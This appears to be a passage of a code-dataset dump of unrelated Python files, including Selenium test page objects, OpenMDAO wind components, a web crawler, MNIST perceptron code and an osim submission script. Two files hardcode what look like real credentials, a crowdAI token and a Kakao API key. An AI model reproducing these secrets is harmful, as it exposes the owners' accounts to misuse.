time.sleep(0.2)\r\n os.remove(\"Codes.txt\")\r\n file = open(\"Codes.txt\",\"w\")\r\n clear()\r\n print(\"Steam Friend Code Generator\")\r\n print(\"\")\r\n print(\"How many codes should be generated? \")\r\n amt = int(input())\r\n print(\"Generating...\")\r\n total = 0\r\n file = open(\"Codes.txt\",\"w\")\r\n while total < amt:\r\n pc = 200/(int(amt)+(int(total)))\r\n fc = str(randint(0,999999999))\r\n total = total+1\r\n if total % 100 == 0:\r\n title(str(name) + \" - \" + str(round(total*pc)) + \"% completed\")\r\n file.write(str(fc)+\"\\n\")\r\n clear()\r\n file.close()\r\n finish()\r\n\r\ndef finish():\r\n print(\"Completed!\")\r\n title(\"[\" + str(ver) + \"] \" + str(name))\r\n input(\"Press enter to close.\")\r\n exit()\r\n\r\nmenu()\r\n","sub_path":"Friend Code Generator.py","file_name":"Friend Code Generator.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"27746330","text":"from robotpageobjects.base import robot_alias\nfrom python.page.ExpensePage import ExpensePage\nfrom python.page.settings.SettingPage import SettingPage\nfrom python.component.pagepart.setting.company.BasicCompanyPoliciesComponent import BasicCompanyPoliciesComponent\nfrom python.component.pagepart.setting.company.AdvancedCompanyPoliciesComponent import AdvancedCompanyPoliciesComponent\nfrom robot.utils import asserts\n\nclass SettingCompanyExpensePoliciesPage(ExpensePage, SettingPage):\n name = \"Setup Company Expense Policy Page\"\n uri = \"/companies/policies\"\n\n components = {\n BasicCompanyPoliciesComponent: \"id=basicPoliciesCont\",\n AdvancedCompanyPoliciesComponent:\"id=advancedPoliciesCont\"\n }\n \n selectors = {\n \"policy_company_example_new_windows\": \"xpath=.//*[@id='article-container']/article//h1\",\n }\n\n def _is_page(self):\n return super(SettingCompanyExpensePoliciesPage, self)._is_page() and self.seleniumBrowser.is_page_by_page_class(SettingCompanyExpensePoliciesPage)\n \n @robot_alias(\"input_data\")\n def input_data(self, number1, number2, number3, number4, category_policy):\n self.basiccompanypolicies.input_receipt_policy(number1)\n self.basiccompanypolicies.input_turnedday_policy(number2)\n self.basiccompanypolicies.input_amount_policy(number3)\n self.basiccompanypolicies.input_mileage_amount_policy(number4)\n self.basiccompanypolicies.select_category_policy(category_policy)\n return self\n\n @robot_alias(\"click_save_button\")\n def click_save_button(self):\n self.basiccompanypolicies.click_save_button()\n self._wait_to_load()\n return self\n \n @robot_alias(\"upload_file_pdf\")\n def upload_file_pdf(self, autoit_path, path_file, file_pdf):\n self.logger.info(\"Upload file policy pdf on Expense policy: %s\" % str(file_pdf))\n command_line_execute = autoit_path + \" \" + path_file + file_pdf\n self.basiccompanypolicies.click_element(\"upload_button\")\n self._execute_cmd_program(command_line_execute)\n self.basiccompanypolicies.wait_until_element_is_not_visible(\"progress_uploading\")\n return self\n \n @robot_alias(\"page_should_show_upload_pdf_error_message\")\n def page_should_show_upload_pdf_error_message(self, errMsg):\n asserts.assert_equal(self.basiccompanypolicies.get_text(\"error_message\"), errMsg)\n return self\n \n @robot_alias(\"verify_elements_basic_company_policies\")\n def verify_elements_basic_company_policies(self):\n self.basiccompanypolicies.verify_elements_basic_company_policies()\n return self\n \n @robot_alias(\"verify_elements_after_uploading_policies\")\n def verify_elements_after_uploading_policies(self):\n self.basiccompanypolicies.element_should_not_be_visible(\"upload_button\")\n self.basiccompanypolicies.element_should_be_visible(\"view_policy_pdf\")\n self.basiccompanypolicies.element_should_be_visible(\"edit_policy_pdf\")\n self.basiccompanypolicies.element_should_be_visible(\"delete_policy_pdf\")\n return self\n \n @robot_alias(\"verify_elements_after_deleting_policies\")\n def verify_elements_after_deleting_policies(self):\n self.basiccompanypolicies.element_should_not_be_visible(\"view_policy_pdf\")\n self.basiccompanypolicies.element_should_not_be_visible(\"edit_policy_pdf\")\n self.basiccompanypolicies.element_should_not_be_visible(\"delete_policy_pdf\")\n self.basiccompanypolicies.element_should_be_visible(\"upload_button\")\n return self\n \n @robot_alias(\"view_policy_pdf\")\n def view_policy_pdf(self):\n main_window = self.get_window_titles()\n self.basiccompanypolicies.click_view_policy_pdf()\n another_window = list(set(self.driver.window_handles) - {self.driver.current_window_handle})[0]\n self.select_window(another_window)\n self.reload_page()\n asserts.assert_true(self.get_location().find('expense_policy_file.pdf'))\n self.select_window(main_window)\n return self\n\n @robot_alias(\"edit_policy_pdf\")\n def edit_policy_pdf(self, autoit_path, path_file, file_pdf):\n self.logger.info(\"Edit file policy pdf on Expense policy: %s\" % str(file_pdf))\n command_line_execute = autoit_path + \" \" + path_file + file_pdf\n self.basiccompanypolicies.click_edit_policy_pdf()\n self._execute_cmd_program(command_line_execute)\n self.basiccompanypolicies.wait_until_element_is_not_visible(\"progress_uploading\")\n return self\n \n @robot_alias(\"delete_policy_pdf\")\n def delete_policy_pdf(self):\n self.basiccompanypolicies.click_delete_policy_pdf()\n return self\n\n @robot_alias(\"policy_should_be_updated\")\n def policy_should_be_updated(self, number1, number2, number3, number4, category_policy):\n self.page_should_contain(\"Saved successfully\")\n self.basiccompanypolicies.receipt_policy_should_be(number1)\n self.basiccompanypolicies.turnedday_policy_should_be(number2)\n self.basiccompanypolicies.amount_policy_should_be(number3)\n self.basiccompanypolicies.mileage_amount_policy_should_be(number4)\n self.basiccompanypolicies.category_policy_should_be(category_policy)\n return self\n \n @robot_alias(\"per_diem_should_not_contain_policy_message\")\n def per_diem_should_not_contain_policy_message(self, message):\n return self.advancedcompanypolicies.per_diem_should_not_contain_policy_message(message)\n \n @robot_alias(\"click_per_diem_policy_add_location\")\n def click_per_diem_policy_add_location(self):\n return self.advancedcompanypolicies.click_per_diem_policy_add_location()\n \n @robot_alias(\"verify_elements_advanced_company_per_diem_policies\")\n def verify_elements_advanced_company_per_diem_policies(self):\n self.advancedcompanypolicies.verify_elements_advanced_company_per_diem_policies()\n return self\n \n @robot_alias(\"create_per_diem_policy\")\n def create_per_diem_policy(self, policy_type, amount, category, location_operator=None, location_value=None):\n self.advancedcompanypolicies.select_policy_type(policy_type)\n self.advancedcompanypolicies.input_amount(amount)\n self.advancedcompanypolicies.select_category(category)\n if location_operator is not None and location_operator != '':\n self.advancedcompanypolicies.click_per_diem_policy_add_location()\n self.advancedcompanypolicies.select_location_operator(location_operator)\n if location_operator != 'Cannot be blank':\n self.advancedcompanypolicies.input_location_value(location_value)\n return self\n \n @robot_alias(\"click_per_diem_save_button\")\n def click_per_diem_save_button(self):\n self.advancedcompanypolicies.click_per_diem_save_button()\n try: \n self._wait_to_load()\n except:\n self.reload_page()\n return self\n \n @robot_alias(\"click_per_diem_cancel_button\")\n def click_per_diem_cancel_button(self):\n return self.advancedcompanypolicies.click_per_diem_cancel_button()\n \n @robot_alias(\"per_diem_policy_should_contain_policy_message\")\n def per_diem_policy_should_contain_policy_message(self, message):\n return self.advancedcompanypolicies.per_diem_policy_should_contain_policy_message(message)\n \n @robot_alias(\"uncheck_checkbox_policy_message\")\n def uncheck_checkbox_policy_message(self, message):\n message = message.encode('utf-8')\n locator_checkbox = self.advancedcompanypolicies.resolve_selector(\"per_diem_policy_message_select_box\", text=message)\n self.unselect_checkbox(locator_checkbox)\n self._wait_to_load()\n return self\n \n @robot_alias(\"input_advance_policy_data\")\n def input_advance_policy_basic_data(self, policy_name, policy_description):\n return self.advancedcompanypolicies.input_advance_policy_basic_data(policy_name, policy_description)\n \n @robot_alias(\"click_save_advance_policy\")\n def click_save_advance_policy_button(self):\n self.advancedcompanypolicies.click_save_advance_policy_button()\n try: \n self._wait_to_load()\n except:\n self.reload_page()\n return self\n return self\n \n @robot_alias(\"delete_per_diem_policy_message\")\n def delete_per_diem_policy_message(self, message):\n self.advancedcompanypolicies.click_on_policy_message_delete_icon(message)\n return self._wait_to_load()\n \n @robot_alias(\"input_advance_policy_when_rules\")\n def input_advance_policy_when_rules(self, rules):\n self.advancedcompanypolicies.input_advance_policy_when_rules(rules)\n return self\n \n @robot_alias(\"input_advance_policy_require_rules\")\n def input_advance_policy_require_rules(self, rules):\n self.advancedcompanypolicies.input_advance_policy_require_rules(rules)\n return self\n\n @robot_alias(\"click_per_diem_policy_message\")\n def click_per_diem_policy_message(self, message):\n self.advancedcompanypolicies.click_per_diem_policy_message(message)\n self._wait_to_load()\n return self\n \n @robot_alias(\"verify_elements_advanced_company_expense_policies\")\n def verify_elements_advanced_company_expense_policies(self):\n self.advancedcompanypolicies.verify_elements_advanced_company_expense_policies()\n return self\n \n @robot_alias(\"click_on_advanced_policy_examples_link\")\n def click_on_advanced_policy_examples_link(self):\n self.advancedcompanypolicies.click_on_advanced_policy_examples_link()\n return self\n \n @robot_alias(\"verify_location_and_policy_company_example_title_in_new_windows\")\n def verify_location_and_policy_company_example_title_in_new_windows(self, URL, title):\n main_window = self.get_window_titles()\n window_after = self.driver.window_handles[1]\n self.logger.info(\"Switch to new window: \" + window_after)\n self.driver.switch_to.window(window_after)\n self.location_should_be(URL)\n self.wait_until_element_is_visible(\"policy_company_example_new_windows\")\n self.element_text_should_be(\"policy_company_example_new_windows\", title)\n self.driver.close()\n self.select_window(main_window)\n return self\n \n @robot_alias(\"company_expense_policy_should_contain_policy_message\")\n def company_expense_policy_should_contain_policy_message(self, message):\n return self.advancedcompanypolicies.company_expense_policy_should_contain_policy_message(message)\n \n @robot_alias(\"uncheck_checkbox_expense_policy_message\")\n def uncheck_checkbox_expense_policy_message(self, message):\n message = message.encode('utf-8')\n locator_checkbox = self.advancedcompanypolicies.resolve_selector(\"company_expense_policy_message_select_box\", text=message)\n self.unselect_checkbox(locator_checkbox)\n self._wait_to_load()\n return self\n \n @robot_alias(\"delete_company_expense_policy_message\")\n def delete_company_expense_policy_message(self, message):\n self.advancedcompanypolicies.click_on_expense_policy_message_delete_icon(message)\n return self._wait_to_load()\n \n @robot_alias(\"company_expense_should_not_contain_policy_message\")\n def company_expense_should_not_contain_policy_message(self, message):\n return self.advancedcompanypolicies.company_expense_should_not_contain_policy_message(message)\n \n @robot_alias(\"click_on_company_expense_policy\")\n def click_on_company_expense_policy(self, message):\n self.advancedcompanypolicies.click_on_expense_policy_message(message)\n self._wait_to_load()\n return self\n \n @robot_alias(\"textfield_policy_name_value_should_be\")\n def textfield_policy_name_value_should_be(self, policy_name):\n self.advancedcompanypolicies.textfield_policy_name_value_should_be(policy_name)\n return self\n\n @robot_alias(\"textarea_policy_description_should_be\")\n def textarea_policy_description_should_be(self, description):\n self.advancedcompanypolicies.textarea_policy_description_should_be(description)\n return self\n \n @robot_alias(\"verify_policy_when_rule_text_shows_successfully\")\n def verify_policy_when_rule_text_shows_successfully(self, rule):\n self.advancedcompanypolicies.verify_policy_when_rule_text_shows_successfully(rule)\n return self\n \n @robot_alias(\"verify_policy_require_rule_text_shows_successfully\")\n def verify_policy_require_rule_text_shows_successfully(self, rule):\n self.advancedcompanypolicies.verify_policy_require_rule_text_shows_successfully(rule)\n return self\n \n @robot_alias(\"verify_advance_policy_when_rules\")\n def verify_advance_policy_when_rules(self, rule):\n self.advancedcompanypolicies.verify_advance_policy_when_rules(rule)\n return self\n\n @robot_alias(\"verify_advance_policy_require_rules\")\n def verify_advance_policy_require_rules(self, rule):\n self.advancedcompanypolicies.verify_advance_policy_require_rules(rule)\n return self\n \n @robot_alias(\"select_policy_when_rule\")\n def select_policy_when_rule(self, option):\n self.advancedcompanypolicies.select_policy_when_rule(option)\n return self\n\n @robot_alias(\"select_policy_require_rule\")\n def select_policy_require_rule(self, option):\n self.advancedcompanypolicies.select_policy_require_rule(option)\n return self","sub_path":"expense-ui-robot-tests/PythonExpenseAutomationTest/python/page/settings/company/SettingCompanyExpensePoliciesPage.py","file_name":"SettingCompanyExpensePoliciesPage.py","file_ext":"py","file_size_in_byte":13503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"162222814","text":"from openmdao.api import ExplicitComponent\r\nimport numpy as np\r\nfrom input_params import max_n_turbines\r\n\r\n\r\nclass SpeedDeficits(ExplicitComponent):\r\n def __init__(self, n_cases):\r\n super(SpeedDeficits, self).__init__()\r\n self.n_cases = n_cases\r\n\r\n def setup(self):\r\n self.add_input('dU', shape=self.n_cases)\r\n self.add_input('freestream', shape=self.n_cases)\r\n self.add_output('U', shape=self.n_cases)\r\n\r\n def compute(self, inputs, outputs):\r\n # print \"8 Speed\"\r\n ans = np.array([])\r\n for case in range(self.n_cases):\r\n dU = inputs['dU'][case]\r\n freestream = inputs['freestream'][case]\r\n # print dU, 'Input dU'\r\n res = [freestream * (1.0 - dU)]\r\n ans = np.append(ans, res)\r\n ans = ans.reshape(self.n_cases)\r\n # print ans\r\n # inputs['dU'] = []\r\n outputs['U'] = ans\r\n # print outputs['U'], \"Output U\"\r\n\r\n\r\nclass CombineSpeed(ExplicitComponent):\r\n def __init__(self, n_cases):\r\n super(CombineSpeed, self).__init__()\r\n self.n_cases = n_cases\r\n\r\n def setup(self):\r\n\r\n for n in range(max_n_turbines):\r\n self.add_input('U{}'.format(n), shape=self.n_cases)\r\n self.add_input('ordered_layout', shape=(self.n_cases, max_n_turbines, 3))\r\n self.add_input('n_turbines', val=1)\r\n\r\n self.add_output('U', shape=(self.n_cases, max_n_turbines))\r\n\r\n def compute(self, inputs, outputs):\r\n ans = np.array([])\r\n n_turbines = int(inputs['n_turbines'])\r\n for case in range(self.n_cases):\r\n ordered_layout = inputs['ordered_layout'][case][:n_turbines].tolist()\r\n # print ordered_layout\r\n indices = [i[0] for i in ordered_layout]\r\n # print indices\r\n # print inputs['U0'], inputs['U1'], inputs['U2']\r\n final = [[indices[n], inputs['U{}'.format(int(n))][case]] for n in range(len(indices))]\r\n # print final\r\n array_speeds = [speed[1] for speed in sorted(final)]\r\n # print array_speeds\r\n lendif = max_n_turbines - len(array_speeds)\r\n if lendif > 0:\r\n array_speeds = np.concatenate((array_speeds, [0 for _ in range(lendif)]))\r\n ans = np.append(ans, array_speeds)\r\n ans = ans.reshape(self.n_cases, max_n_turbines)\r\n # for n in range(self.n_cases):\r\n # inputs['U{}'.format(n)] = []\r\n outputs['U'] = np.array(ans)\r\n # print outputs['U'], \"Combined Wind Speeds U\"\r\n","sub_path":"src/AbsWakeModel/windspeed_deficits.py","file_name":"windspeed_deficits.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"465543757","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/11/29 16:19\n# @Author : Philly\n# @File : advanced_link_crawler_using_requests.py\n# @Description: 使用requests 库爬虫链接\nimport re\nfrom urllib import robotparser\nfrom urllib.parse import urljoin\nimport requests\nfrom py3webscrapy.use_py_scrapy.ch1.throttle import Throttle\n\n\ndef download(url, user_agent='wswp', num_retries=2, proxies=None):\n print('Downloading: ', url)\n headers = {'User-Agent': user_agent}\n try:\n resp = requests.get(url, headers=headers, proxies=proxies)\n html = resp.text\n if resp.status_code >= 400:\n print('Download error: ', resp.text)\n html = None\n if num_retries and 500 <= resp.status_code < 600:\n return download(url, num_retries - 1)\n except requests.exception.RequestsException as e:\n print('Download error: ', e)\n html = None\n return html\n\ndef get_robots_parser(robots_url):\n rp = robotparser.RobotFileParser()\n rp.set_url(robots_url)\n rp.read()\n return rp\n\ndef get_links(html):\n webpage_regex = re.compile(\"\"\"<a[^>]+href=[\"'](.*?)[\"']\"\"\", re.IGNORECASE)\n return webpage_regex.findall(html)\n\ndef link_crawler(start_url, link_regex, robots_url=None, user_agent='wswp', proxies=None, delay=3, max_depth=4):\n crawl_queue = [start_url]\n seen = {}\n if not robots_url:\n robots_url = '{}/robots.txt'.format(start_url)\n rp = get_robots_parser(robots_url)\n throttle = Throttle(delay)\n while crawl_queue:\n url = crawl_queue.pop()\n if rp.can_fetch(user_agent, url):\n depth = seen.get(url, 0)\n if depth == max_depth:\n print('Skipping %s due to depth' % url)\n continue\n throttle.wait(url)\n html = download(url, user_agent=user_agent, proxies=proxies)\n if not html:\n continue\n for link in get_links(html):\n if re.match(link_regex, link):\n abs_link = urljoin(start_url, link)\n if abs_link not in seen:\n seen[abs_link] = depth + 1\n crawl_queue.append(abs_link)\n else:\n print('Blocked by robots.txt: ', url)\n\n\nif __name__ == '__main__':\n link_crawler('http://example.python-scraping.com', '/places/default/(index|view)/', max_depth=2)\n","sub_path":"py3webscrapy/use_py_scrapy/ch1/advanced_link_crawler_using_requests.py","file_name":"advanced_link_crawler_using_requests.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"203490663","text":"import numpy as np\nimport numpy.matlib\nfrom fake_data import C0, C1, numFeatures\nimport matplotlib.pyplot as plt\n\nimport NN\n\n# Label vector\nY = np.concatenate(\n (np.matlib.repmat(np.array([1.0, 0.0]), numFeatures, 1),\n np.matlib.repmat(np.array([0.0, 1.0]), numFeatures, 1))\n)\n\nX0 = np.concatenate((C0.featureX, C0.featureY), axis=1)\nX1 = np.concatenate((C1.featureX, C1.featureY), axis=0).transpose()\n\n# Feature matrix\nX = np.concatenate((X0, X1))\n\nREPEAT = 1\nerr = []\nW1list = []\nW2list = []\n\nfor experiment in range(REPEAT):\n print(\"Training attempt: %s\" % (experiment + 1))\n w1_init, w2_init, NeuralNetObj = NN.init_data(X, Y)\n W1, W2, error = NN.training_neural_net(w1_init, w2_init,\n NeuralNetObj)\n err.append(np.asarray(error))\n W1list.append(W1)\n W2list.append(W2)\n\nerror = np.asarray(err).mean(axis=0)\nW1Avg = np.asarray(W1list).mean(axis=0)\nW2Avg = np.asarray(W2list).mean(axis=0)\n\nplt.close()\nplt.plot(range(2*numFeatures), error)\nplt.ylabel('Averaged Cost')\nplt.xlabel('Iterations')\nplt.axis('tight')\nplt.show()\n\nNN.estimate(W1Avg, W2Avg, NeuralNetObj)\n\n","sub_path":"NN_average.py","file_name":"NN_average.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124854944","text":"\"\"\"\nMultitron.py\n-trains then tests a multitron using the mini MNIST handwriting data set\n\n the data:\n -hand written 28 * 28 pixel maps of digits between 0 and 9\n -pre classified\n\n training:\n -tune the weight matrix 100 times using the 10k sample training set\n\n testing:\n -once trained, test these weights on unseen data (the test set)\n\"\"\"\n\nimport pickle\n#import random\nimport numpy as np\n#import pdb\n\n\ndef main():\n\n #read in the raw data\n train, valid, test = read_data()\n\n #append the bias pixels to each pixel array in the training data\n train_b = append_bias(train)\n\n #initialize the weight matrix (10 vectors of 785 elements)\n #to random weights in the range [0, 1)\n weights = np.random.rand(10, 785)\n\n #run the training data through once, displaying a confusion matrix of the results,\n #then updating the weight matrix. print total correct % for each run through.\n for i in range(0, 250):\n weights = train_multitron(weights, train_b)\n\n print (\"TRAINING COMPLETE: now testing...\")\n\n test_b = append_bias(test)\n test_multitron(weights, test_b)\n\n\ndef append_bias(data):\n \"\"\"\n appends a bias feature to each data instance\n (be it train, validate, or test)\n \"\"\"\n i = 0\n data_b = data\n for instance in data:\n #convert to lists then back to tuples in order to append the 1's\n #(stupid but works)\n tmp_lst = list(instance)\n tmp_lst[0] = np.append(tmp_lst[0], 1)\n instance = tuple(tmp_lst)\n data_b[i] = instance\n i += 1\n return data_b\n\n\ndef train_multitron(weights, train):\n \"\"\"\n 1. for each training isntance in the list:\n a. multiply the (# digites * pixel weight) matrix by the pixel vector,\n producing a vector with the summed weight for each digit\n b. select the argmax of this vector and compare its index to the actual digit\n for this training instance. tally the # of correct digitifications\n case 1: correct selection made:\n do nothing\n case 2: incorrect selection made:\n 1. subtract the pixel pixels vector from the selected digit vector\n 2. add the pixel pixels vector to the correct digit vector\n c. using the correct digit list and the corresponding selected digit list,\n display the confusion matrix for this training run before updating the weights.\n \"\"\"\n total = len(train)\n correct = 0\n digit_pairs = []\n for instance in train:\n pixels = instance[0]\n digit = instance[1]\n weight_sums = np.dot(weights, pixels)\n #get index of the max weight, this is the digit chosen for this instance\n max_digit = np.array(weight_sums).argmax()\n\n if max_digit == digit:\n #do nothing, correct digit was chosen\n correct += 1\n else:\n #subtract the pixels from the wrongly selected digites weight vector\n weights[max_digit, :] = weights[max_digit, :] - pixels\n #add the pixels to the correct digites weight vector\n weights[digit, :] = weights[digit, :] + pixels\n\n digit_pairs.append((digit, max_digit))\n\n print (\"Total # of correct classifications out of \" + str(total) +\n \" is \" + str(correct))\n show_confusion_matrix(digit_pairs)\n\n return weights\n\n\ndef test_multitron(weights, test):\n \"\"\"\n \"\"\"\n total = len(test)\n correct = 0\n digit_pairs = []\n for instance in test:\n pixels = instance[0]\n digit = instance[1]\n weight_sums = np.dot(weights, pixels)\n #get index of the max weight, this is the digit chosen for this instance\n max_digit = np.array(weight_sums).argmax()\n\n if max_digit == digit:\n correct += 1\n\n digit_pairs.append((digit, max_digit))\n\n print (\"Total # of correct classifications out of \" + str(total) +\n \" is \" + str(correct))\n show_confusion_matrix(digit_pairs)\n\n\ndef show_confusion_matrix(digit_pairs):\n \"\"\"\n uses digit_pairs, a list of tuples where T[0] is\n the correct digit and T[1] is the selected digit\n to build a confusion matrix\n \"\"\"\n conf = np.zeros((10, 10), dtype=np.int)\n for i in range(0, len(digit_pairs)):\n conf[digit_pairs[i][0]][digit_pairs[i][1]] = conf[digit_pairs[i][0]][digit_pairs[i][1]] + 1\n\n print(conf)\n\n\ndef read_data():\n \"\"\"\n read in the raw MNIST data\n format:\n 3 lists of tuples, T:\n T[0] = 784 pixels as a numpy vector (floats)\n T[1] = digit, element of the set {0-9}\n \"\"\"\n with open('./littlemnist.pkl', 'rb') as f:\n (trainX, trainY), (validX, validY), (testX, testY) = pickle.load(f, encoding='latin1')\n print ('loaded data')\n train = [(x, y) for x, y in zip(trainX, trainY)]\n valid = [(x, y) for x, y in zip(validX, validY)]\n test = [(x, y) for x, y in zip(testX, testY)]\n\n return train, valid, test\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Perceptron/Multitron.py","file_name":"Multitron.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"547029876","text":"import multiprocessing\n\n\ndef test(num):\n print(num)\n\n\ndef main():\n # 创建进程池 参数为最大进程数\n po = multiprocessing.Pool(5)\n\n # 向进程池中添加任务\n for i in range(10):\n po.apply_async(test, args=(i,))\n\n # 关闭进程池,不再接收新的请求\n po.close()\n\n # 告诉主进程等待子进程结束,必须在close()之后\n po.join()\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"4:python高级/复制的文件/demo/mul_pool_demo.py","file_name":"mul_pool_demo.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"281472524","text":"import opensim as osim\nfrom osim.http.client import Client\nfrom osim.env import ProstheticsEnv\nimport numpy as np\nimport argparse\n\n# Settings\nremote_base = 'http://grader.crowdai.org:1729'\n\ntoken = 'c4cda3976f22b8f468b78a33e47bb432'\n\nclient = Client(remote_base)\n\n# Create environment\nobservation = client.env_create(token, env_id=\"ProstheticsEnv\")\nenv = ProstheticsEnv(visualize=False)\n\n# IMPLEMENTATION OF YOUR CONTROLLER\n# my_controller = ... (for example the one trained in keras_rl)\n\n# Run a single step\n# The grader runs 3 simulations of at most 1000 steps each. We stop after the last one\nwhile True:\n #print(observation)\n env.action = [0, 0, 0.001, 0.001, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0]\n [observation, reward, done, info] = client.env_step(env.action)\n if done:\n observation = client.env_reset()\n if not observation:\n break\n\nclient.submit()","sub_path":"submit_test.py","file_name":"submit_test.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"398530849","text":"# coding: utf-8\n# Module: utilities\n# Created on: 16.02.2016\n# Author: Roman Miroshnychenko aka Roman V.M. (romanvm@yandex.ua)\n\nimport requests\nfrom simpleplugin import Plugin\nfrom rarbg_exceptions import Http404Error\n\n__all__ = ['ThreadPool', 'load_page']\n\nHEADERS = (\n ('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0'),\n ('Accept-Charset', 'UTF-8'),\n ('Accept', 'text/html,text/plain,application/json,application/xml'),\n ('Accept-Language', 'en-US, en'),\n ('Accept-Encoding', 'gzip, deflate'),\n)\nplugin = Plugin('plugin.video.rk.tv')\n\n\ndef load_page(url, params=None, headers=None):\n \"\"\"\n Web-client\n\n Loads web-pages via GET requests with optional query string data\n\n :param url: the URL of a web-page to be loaded\n :type url: str\n :param params: parameters to be sent to a server in a URL-encoded paramstring\n :type params: dict\n :param headers: additional headers for a HTTP request\n :type headers: dict\n :return: response contents or a dictionary of json-decoded data\n :rtype: dict -- for JSON response\n :rtype: str -- for other types of responses\n :raises Http404Error: if 404 error if returned\n \"\"\"\n request_headers = dict(HEADERS)\n plugin.log_debug('URL: {0}, params: {1}'.format(url, str(params)))\n if headers is not None:\n request_headers.update(headers)\n response = requests.get(url, params=params, headers=request_headers, verify=False)\n if response.status_code == 404:\n message = 'URL {0} with params {1} not found.'.format(url, str(params))\n plugin.log_error(message)\n raise Http404Error(message)\n if 'application/json' in response.headers['content-type']:\n content = response.json()\n else:\n content = response.content\n plugin.log_debug(response.content)\n return content\n","sub_path":"plugin.video.rk.tv/libs/web_client.py","file_name":"web_client.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"519686709","text":"import requests\nimport json\n\nurl = \"https://kapi.kakao.com/v1/api/talk/profile\"\n\nheaders = {\n 'Content-Type': 'application/xml',\n 'Authorization': 'KakaoAK 9408c07df55ac8b12b740941bb8f005b'\n}\ndata = {\n\t'speak':{\n\t\t'voice name' : 'MAN_DIALOG_BRIGHT'\n\t\t\t}\n\t\t}\n\nresponse = requests.get(url=url, \n\theaders=headers, \n\tdata=data)\n\nprint(\"status_code:\", response.status_code)\nprint(\"data:\", response.json)","sub_path":"python_code/_history/TTS_python/test_curl.py","file_name":"test_curl.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508470637","text":"# -*- coding: utf-8 -*-\n\nfrom django.core.management.base import BaseCommand\nfrom languageTests.models import Topic, LanguageTest, Excersise, Answer\nimport docx \nimport re\n\nclass Parser():\n excersise_type=\"\"\n \n def __init__(self,sentences,language_test,debug=False):\n self.sentences=sentences \n self.language_test=language_test\n self.sentences_list=[]\n self.answers_list=[]\n self.excersises_list=[]\n self.keywords=[\"\\$inter\",\"\\$neg\",\"\\$expl\",\"\\$end\",\"$\"]\n #self.keywords=[\"\\$expl\",\"\\$end\"]\n self.keyword_regexp=\"(\" + \"|\".join(self.keywords) + \")\" \n self.split_sentences()\n self.parse()\n \n def create_excersise(self, exercise_type, text):\n excersise=Excersise(exercise_type=exercise_type,\n text=text,\n language_test=self.language_test)\n return excersise\n \n \n def create_answer(self, answer_string, possible_answers, explanation_string, excersise):\n answer=Answer(answer_string=answer_string,\n possible_answers=possible_answers,\n explanation_string=explanation_string,\n excersise=excersise\n )\n self.answers_list.append(answer)\n return answer\n \n def save(self):\n for excersise in self.excersises_list:\n #print(\"text='{}'\".format(excersise.text))\n excersise.save()\n for answer in self.answers_list:\n #print(answer.answer_string)\n answer.save()\n def format_text_from_sentence(self,sentence): \n return re.sub(r\"\\$\\$\\$\\s*\\(.*?\\)\",\"$$$\",sentence)\n \n def extract_text_from_sentence(self,sentence):\n print(r\"(.*?){}.*\".format(self.keyword_regexp))\n print(\"text=<%s>\" % sentence)\n text = re.search(r\"(.*?){}\".format(self.keyword_regexp),sentence,re.DOTALL)\n if text:\n #return re.sub(r\"\\$\\$\\$\\s*\\(.*?\\)\",\"$$$\",text.group(1))\n return self.format_text_from_sentence(text.group(1))\n else:\n print(\"Error: was not able to parse %s\" % sentence)\n \n def extract_explanation_from_sentence(self,sentence):\n explanations = []\n explanation = re.search(r\"\\$expl(.*)\".format(self.keyword_regexp),sentence,re.DOTALL)\n if explanation:\n explanations=explanation.group(1).split(\"$|\")\n return explanations\n else:\n return [\"\"] \n \n def extract_answers_from_sentence(self,sentence):\n # requires string as an input \n # provides dict of an answer and possible answer\n return [self.return_answer_dict(answer=\"\",possible_answer=\"possible_answer\")]\n \n def clean_sentence(self,sentence):\n # requires string\n # provides clean(withou whitespaces at the ends) string\n #sentence=sentence.rstrip(\"\\n\")\n \n sentence=re.sub(r\"\\s+\",r\" \",sentence)\n sentence=sentence.strip()\n return sentence\n \n def return_answer_dict(self,answer,possible_answer):\n return {\"answer\":answer,\"possible_answer\":possible_answer}\n \n def parse(self):\n for sentence in self.sentences_list:\n text =self.extract_text_from_sentence(sentence)\n text =self.clean_sentence(text)\n explanations =self.extract_explanation_from_sentence(sentence)\n print(\"extrated_sent=<{}>\".format(sentence.strip()))\n print(\"extrated_text=<{}>\".format(text))\n print(\"extrated_expl=<{}>\".format(explanations))\n print(\"-\"*99)\n excersise=self.create_excersise(\n exercise_type=self.excersise_type,\n text=text\n )\n\n self.excersises_list.append(excersise)\n sentence=self.clean_sentence(sentence)\n answers=self.extract_answers_from_sentence(sentence)\n print(\"answers=%s\" % answers)\n if len(answers) != len(explanations):\n print(\"ERROR: there are {} answers but {} explanations\".format(len(answers),len(explanations)))\n return 0\n for index,answer in enumerate(answers):\n self.create_answer(answer_string=answer[\"answer\"],\n 